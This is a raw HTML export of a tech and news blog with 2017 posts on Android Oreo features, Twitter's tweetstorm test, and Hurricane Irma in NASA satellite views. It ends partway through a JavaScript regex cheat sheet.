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<img alt="Password autofill" src="http://static.toiimg.com/photo/60457363.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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Password autofill in Android 8.0 Oreo is the native password manager by Google. Users can simply use their fingerprints authorization and the autofill framework will put in your ID and password in the given area. For this, the developers need to make sure that their apps have the autofill API.</div>
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<img alt="Notification channels" src="http://static.toiimg.com/photo/60457362.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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Notification channels allow developers to classify different types of notifications that an app can send to different groups based on priority. Users will be able to put these alerts in different notification types and manage them easily. This will help them avoid getting notifications for every thing.</div>
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<img alt="Auto-enable Wi-Fi" src="http://static.toiimg.com/photo/60457369.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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The smartphone using Android 8.0 Oreo can automatically enable and disable Wi-Fi based on the location. For this, users need to keep a smartphone’s GPS switched on.</div>
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<img alt="Updates even when handset is out of space" src="http://static.toiimg.com/photo/60457360.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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With Android 8.0 Oreo, the smartphones will still get OTA updates even when they are out of space. This means that users can continue using the device during the update.</div>
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The feature is an enhanced version of Seamless Updates, which was introduced by Google with Pixel and Pixel XL smartphones.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-35964624509555711002017-09-11T19:30:00.000+05:302017-09-11T19:30:24.272+05:30Micro-blogging website Twitter is reportedly testing a feature that will simplify the way users post "tweetstorms"<div dir="ltr" style="text-align: left;" trbidi="on">
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Twitter testing tweet-storm feature in Android application that allows users to send a flurry of related tweets<br /></h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEV3uPacp0HC_eT2P2oYeRtXTiTaxFpuab6QJGy0mNY1pR_af8BbFvn_aVaYUODnco-7vMbGb-NEQcsMYwefBbVGXwrrkZ_5RTU0EnfXjRp0U6EsFSUM7mOH_S827YjYV97-mfgSk-VzgL/s1600/twitter.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Micro-blogging website Twitter is reportedly testing a feature that will simplify the way users post "tweetstorms"" border="0" data-original-height="183" data-original-width="276" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEV3uPacp0HC_eT2P2oYeRtXTiTaxFpuab6QJGy0mNY1pR_af8BbFvn_aVaYUODnco-7vMbGb-NEQcsMYwefBbVGXwrrkZ_5RTU0EnfXjRp0U6EsFSUM7mOH_S827YjYV97-mfgSk-VzgL/s640/twitter.jpg" title="Micro-blogging website Twitter is reportedly testing a feature that will simplify the way users post "tweetstorms"" width="640" /></a></div>
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Micro-blogging website Twitter is reportedly testing a feature that will simplify the way users post "tweetstorms" — a series of related tweets posted by a user in quick succession. According to a report on Engadget on Monday, A user has discovered a hidden, experimental "tweetstorm" feature in Twitter's Android app that simplifies the process. "Instead of posting tweets one at a time and replying to them in sequence, you compose everything behind the scenes and share it all at once," the report added.</div>
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Hidden inside the Android app is a way to write a "tweetstorm" and see it broken into distinct tweets and then tweet them all at once. Twitter, however, declined to comment on the feature which is yet to be made available for the public. Twitter has lifted the 140 character limit for its 328 million-plus users to send direct messages.</div>
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Public tweets however maintain the 140 character limit, which was originally introduced on the microblogging site along the lines of the character limit of an SMS message. Users respond to previous tweets, or append the number of the tweet in a series, or simply tweet out images when there is a need to share larger chunks of text. While Twitter is largely a public experience, direct messages let you have private conversations about the memes and news that unfold on the micro-blogging site. The company said last year that it would stop counting photos, videos and GIF animations toward the 140-character limit.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-42967882687539582842017-09-10T21:30:00.000+05:302017-09-10T21:30:13.710+05:30Hurricane Irma Hits Cuba, Approaches Florida in NASA Satellite View.<div dir="ltr" style="text-align: left;" trbidi="on">
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New satellite imagery shows Hurricane Irma battering Cuba before making its way toward Florida</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXMKAo9CGKoTJ1_tv76QmV2pyW3nPhaQ8YwdcQ8r-4ExF3el3OmxfhRe2N2saVRBTHE2z3GG9o5se04r8-O9voDaVZJRpjJz0-R1eqW5lwiuRzJaDkr9A-yfvnyDf8tBiHfWKTnw-nLR6m/s1600/1212.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hurricane Irma Hits Cuba, Approaches Florida in NASA Satellite View." border="0" data-original-height="193" data-original-width="261" height="473" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXMKAo9CGKoTJ1_tv76QmV2pyW3nPhaQ8YwdcQ8r-4ExF3el3OmxfhRe2N2saVRBTHE2z3GG9o5se04r8-O9voDaVZJRpjJz0-R1eqW5lwiuRzJaDkr9A-yfvnyDf8tBiHfWKTnw-nLR6m/s640/1212.jpg" title="Hurricane Irma Hits Cuba, Approaches Florida in NASA Satellite View." width="640" /></a></div>
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The colossal storm made landfall on the northern coast of Cuba Friday evening (Sept. 8) at a Category 5 hurricane, and since then the eye of the storm has been moving west-northwest along the coast at a speed of about 9 mph (15 km/h), the National Hurricane Center (NHC) reports. You can see the latest satellite videos of Hurricane Irma here.</div>
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Irma was downgraded to a Category 3 hurricane at about 11 a.m. EDT (1500 GMT) on Saturday. However, officials warn that it is expected to regain strength once it moves back over warm ocean water later tonight. "Irma is forecast to restrengthen once it moves away from Cuba, and Irma is expected to remain a powerful hurricane as it approaches Florida," the NHC said in a public advisory.</div>
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In a separate statement, NASA officials predicted that "the core of Irma will continue to move near or over the north coast of Cuba later today, and will reach the Florida Keys Sunday morning. The hurricane is expected to move along or near the southwest coast of Florida Sunday afternoon."</div>
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NASA's Kennedy Space Center in Cape Canaveral Florida, along the state's central eastern coast, closed yesterday in preparation for Irma's arrival. In a Twitter statement today, KSC officials said the center is entering a secure HURCON 1 condition as the storm approaches. Nearby, the U.S. military's Cape Canaveral Air Force Station had taken its own steps to safeguard the base and spaceport ahead of the storm.</div>
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Weather satellites operated by NASA and the National Oceanic and Atmospheric Administration (NOAA) have been monitoring the storm from space since it formed out in the Atlantic Ocean this week.</div>
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A recent view from NASA's Aqua satellite on Saturday morning revealed cold temperatures in the cloud tops of thunderstorms surrounding Hurricane Irma's core, as well as in a band of thunderstorms over the Florida Keys.</div>
<figure class="figure" style="background-color: white; border: 0px; color: #5b5b5b; display: table; font-family: Arial, Helvetica, sans-serif; font-size: 1.2rem; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px 0px 12px; padding: 0px; vertical-align: baseline; width: 553px;"><div class="magnify-wrapper iZoom img-zoom-in" style="border: 0px; font-family: inherit; font-size: 12px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; position: relative; vertical-align: baseline;">
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<img alt="This infrared image from the MODIS instrument aboard NASA's Aqua satellite shows extremely cold temperatures (red) in thunderstorms surrounding the eye of Hurricane Irma as it traveled along Cuba's northern coast on Sept. 9 at 3:15 a.m. EDT (0715) GMT)." big-src="https://img.purch.com/h/1400/aHR0cDovL3d3dy5zcGFjZS5jb20vaW1hZ2VzL2kvMDAwLzA2OS84NDIvb3JpZ2luYWwvaHVycmljYW5lLWlybWEtbW9kaXMtc2VwdDkuanBnPzE1MDQ5ODAzOTc=" class="pure-img lazy loaded z-loaded" data-src="https://img.purch.com/w/640/aHR0cDovL3d3dy5zcGFjZS5jb20vaW1hZ2VzL2kvMDAwLzA2OS84NDIvaTAyL2h1cnJpY2FuZS1pcm1hLW1vZGlzLXNlcHQ5LmpwZz8xNTA0OTgwMzk3" src="https://img.purch.com/w/640/aHR0cDovL3d3dy5zcGFjZS5jb20vaW1hZ2VzL2kvMDAwLzA2OS84NDIvaTAyL2h1cnJpY2FuZS1pcm1hLW1vZGlzLXNlcHQ5LmpwZz8xNTA0OTgwMzk3" style="border: 0px; cursor: zoom-in; display: block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; opacity: 1; padding: 0px; transition: opacity 0.3s; vertical-align: baseline; width: 553px;" /><div class="img-zoom-sub" id="1505044994642-4" style="border: 0px; bottom: 0px; cursor: zoom-out; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: 0px; left: 0px; line-height: inherit; margin: auto; padding: 0px; position: fixed; right: 0px; top: 0px; transition: height 0.2s ease-in-out, width 0.2s ease-in-out; vertical-align: baseline; width: 0px;">
<img class="img-zoom" src="https://img.purch.com/h/1400/aHR0cDovL3d3dy5zcGFjZS5jb20vaW1hZ2VzL2kvMDAwLzA2OS84NDIvb3JpZ2luYWwvaHVycmljYW5lLWlybWEtbW9kaXMtc2VwdDkuanBnPzE1MDQ5ODAzOTc=" style="border: 0px; bottom: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; left: 0px; line-height: inherit; margin: auto; max-height: 98%; max-width: 98%; min-width: 30%; padding: 0px; position: absolute; right: 0px; top: 0px; vertical-align: baseline; z-index: 10003;" /></div>
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<figcaption class="fig-cap" id="nointelliTXT" style="border: 1px solid rgb(211, 211, 211); color: black; font-family: inherit; font-size: 12px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 16px; margin: 0px; padding: 10px; vertical-align: baseline;"><div class="fig-desc" style="border: 0px; color: inherit; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 0px 8px; padding: 0px; vertical-align: baseline;">
This infrared image from the MODIS instrument aboard NASA's Aqua satellite shows extremely cold temperatures (red) in thunderstorms surrounding the eye of Hurricane Irma as it traveled along Cuba's northern coast on Sept. 9 at 3:15 a.m. EDT (0715) GMT).</div>
<cite class="fig-credit" style="border: 0px; display: block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 8px 0px; padding: 0px; vertical-align: baseline;">Credit: NASA/NRL</cite></figcaption></figure><div style="background-color: white; border: 0px; color: #5b5b5b; font-family: FreeSans, Arimo, "Droid Sans", Helvetica, Arial, sans-serif; font-size: 16px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 16px; margin-top: 16px; padding: 0px; vertical-align: baseline;">
NASA and NOAA satellites are also tracking two more storms Irma's vicinity: Hurricane Jose and Katia, a former hurricane that was downgraded to a tropical depression after making landfall over Mexico. [<a href="https://www.space.com/38079-watch-hurricanes-irma-jose-katia-satellite-video.html" style="background-color: transparent; border: 0px; color: #3366cc; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; vertical-align: baseline;">Video: Irma, Jose and Katia Seen from Space]</a></div>
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customisable-border" data-scribe="component:card" dir="ltr"><div class="MediaCard-media" style="background-color: #f5f8fa; overflow: hidden; position: relative; width: 500px;">
<a class="MediaCard-borderOverlay" href="https://twitter.com/NASAEarth/status/906215567245365249/photo/1" role="presentation" style="background-color: transparent; border-radius: 4px 4px 0px 0px; border: 1px solid rgba(225, 232, 237, 0.75); box-sizing: border-box; color: #2b7bb9; height: 333.328px; left: 0px; outline: 0px; position: absolute; text-decoration-line: none; top: 0px; width: 500px; z-index: 10;" tabindex="-1" title="View image on Twitter"><span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;">View image on Twitter</span></a><div class="MediaCard-widthConstraint js-cspForcedStyle" data-style="max-width: 720px" style="margin: 0px auto; max-width: 720px;">
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<a class="MediaCard-mediaAsset
NaturalImage
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<span class="u-hiddenInNarrowEnv"><a class="FollowButton FollowButton--edge follow-button profile" data-scribe="component:followbutton" href="https://twitter.com/NASAEarth" role="button" style="border-radius: 100px; border: 1px solid rgb(85, 172, 238); color: #55acee; display: inline-block; font-size: 14px; font-weight: 700; line-height: 1; outline: 0px; padding: 5.5px 13px 6.5px 11.5px; text-decoration-line: none;" title="Follow NASA Earth on Twitter"><span class="FollowButton-bird" style="display: inline-block; position: relative; top: 1px;"><div aria-label="" class="Icon Icon--twitter " role="presentation" style="background-image: url("data:image/svg+xml; background-repeat: no-repeat; background-size: contain; display: inline-block; height: 1.25em; vertical-align: text-bottom; width: 1.25em;" title="">
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</span> Follow</a></span></div>
<div class="TweetAuthor " data-scribe="component:author" style="line-height: 0; margin-top: 2px; max-width: 100%; overflow: hidden !important; text-overflow: ellipsis !important; word-wrap: normal !important;">
<a aria-label="NASA Earth (screen name: NASAEarth)" class="TweetAuthor-link Identity u-linkBlend" data-scribe="element:user_link" href="https://twitter.com/NASAEarth" style="background-color: transparent; display: inline-block; font-weight: inherit; line-height: 1.2; outline: 0px; text-decoration: inherit;"><span class="TweetAuthor-avatar Identity-avatar" style="background-color: transparent; border-radius: 4px; display: inline-block; height: 36px; left: 0px; overflow: hidden; position: absolute; top: 0px; width: 36px;"><img alt="" class="Avatar Avatar--edge" data-scribe="element:avatar" data-src-1x="https://pbs.twimg.com/profile_images/674396782630014976/qNGmQlRC_normal.png" data-src-2x="https://pbs.twimg.com/profile_images/674396782630014976/qNGmQlRC_bigger.png" src="https://pbs.twimg.com/profile_images/674396782630014976/qNGmQlRC_normal.png" style="border-radius: 50%; border: 0px; max-height: 100%; max-width: 100%;" /></span><span class="TweetAuthor-name Identity-name customisable-highlight" data-scribe="element:name" style="font-weight: 700;" title="NASA Earth">NASA Earth</span> <span class="TweetAuthor-verifiedBadge" data-scribe="element:verified_badge" style="position: absolute; top: 0px;"><div aria-label="Verified Account" class="Icon Icon--verified " role="img" style="background-image: url("data:image/svg+xml; background-repeat: no-repeat; background-size: contain; display: inline-block; height: 1.25em; vertical-align: text-bottom; width: 1.11111em;" title="Verified Account">
</div>
<span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;">✔</span></span><span class="TweetAuthor-screenName Identity-screenName" data-scribe="element:screen_name" dir="ltr" style="color: #697882; font-size: 14px;" title="@NASAEarth">@NASAEarth</span></a></div>
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<div class="Tweet-text e-entry-title" dir="ltr" lang="en" style="border: none; cursor: text; direction: ltr; list-style: none; padding: 0px;">
A Cauldron of Hurricanes <a class="link customisable" data-expanded-url="https://go.nasa.gov/2fa1Z36" data-scribe="element:url" dir="ltr" href="https://t.co/0e7M5ohBXz" rel="nofollow noopener" style="background-color: transparent; color: #2b7bb9; outline: 0px; text-decoration-line: none;" target="_blank" title="https://go.nasa.gov/2fa1Z36"><span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;">https://</span>go.nasa.gov/2fa1Z36<span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;"> </span></a> <a class="PrettyLink hashtag customisable" data-query-source="hashtag_click" data-scribe="element:hashtag" dir="ltr" href="https://twitter.com/hashtag/NASA?src=hash" rel="tag" style="background-color: transparent; color: #2b7bb9; outline: 0px; text-decoration-line: none;"><span class="PrettyLink-prefix">#</span><span class="PrettyLink-value">NASA</span></a></div>
<div class="Tweet-metadata dateline" style="color: #697882; font-size: 14px; margin-top: 3.2px;">
<a class="u-linkBlend u-url customisable-highlight long-permalink" data-datetime="2017-09-08T18:00:02+0000" data-scribe="element:full_timestamp" href="https://twitter.com/NASAEarth/status/906215567245365249" style="background-color: transparent; font-weight: inherit; outline: 0px; text-decoration: inherit;">11:30 PM - Sep 8, 2017</a></div>
<ul aria-label="Tweet actions" class="Tweet-actions" data-scribe="component:actions" role="menu" style="border: none; list-style: none; margin: 8.4px 0px 0px; padding: 0px;">
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<span aria-hidden="true" class="TweetAction-stat" data-scribe="element:reply_count" style="display: inline-block; font-size: 14px; vertical-align: text-bottom;">101</span><span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;">101 Replies</span></a></li>
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<span aria-hidden="true" class="TweetAction-stat" data-scribe="element:retweet_count" style="display: inline-block; font-size: 14px; vertical-align: text-bottom;">2,229</span><span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;">2,229 Retweets</span></a></li>
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<span aria-hidden="true" class="TweetAction-stat" data-scribe="element:heart_count" style="display: inline-block; font-size: 14px; vertical-align: text-bottom;">3,668</span><span class="u-hiddenVisually" style="border: 0px !important; clip: rect(1px 1px 1px 1px) !important; height: 1px !important; overflow: hidden !important; padding: 0px !important; position: absolute !important; width: 1px !important;">3,668 likes</span></a></li>
</ul>
</div>
</blockquote>
</div>
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</twitterwidget></div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-61514888839759832042017-09-10T19:30:00.000+05:302017-09-10T19:30:18.699+05:30Ultimate JavaScript Cheat Sheet<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="text-align: left;">
JavaScript Cheat Sheet</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgewO4Wg5LAWV94GkaLWDQ8HW_-lZSmNv8pXmwuEzRgWHmrEFCKLW1q9Y4m35ef7Oh0l-DmsTOGiQiM60xci7YWuxgOXuGP587DNTYa1BArunvvhyphenhyphenB0ck0mYgbo9V-GPG84HYqewmCEoOmZ/s1600/download+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Ultimate JavaScript Cheat Sheet" border="0" data-original-height="183" data-original-width="275" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgewO4Wg5LAWV94GkaLWDQ8HW_-lZSmNv8pXmwuEzRgWHmrEFCKLW1q9Y4m35ef7Oh0l-DmsTOGiQiM60xci7YWuxgOXuGP587DNTYa1BArunvvhyphenhyphenB0ck0mYgbo9V-GPG84HYqewmCEoOmZ/s400/download+%25281%2529.png" title="Ultimate JavaScript Cheat Sheet" width="400" /></a></div>
<div>
<br /></div>
<div>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript</strong> often abbreviated as “JS”, is a high-level, dynamic, untyped, interpreted run-time language.It has been standardized in the ECMAScript language specification. Alongside HTML and CSS, JavaScript is one of the three core technologies of World Wide Web content production.</div>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">Cheat Sheet for JavaScript:</strong></span></div>
<h3 class="cheat_sheet_output_title" id="title_7_8" style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Expressions Syntax</span></h3>
<div class="cheat_sheet_output_block" id="block_7_8" style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px 0px 1.857em; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
^</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Start of string</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
$</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
End of string</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
.</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Any single character</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
(a|b)</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a or b</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
(…)</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Group section</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
[abc]</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
In range (a, b or c)</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
[^abc]</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Not in range</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
\s</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
White space</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a?</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Zero or one of a</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a*</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Zero or more of a</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
a*?</div>
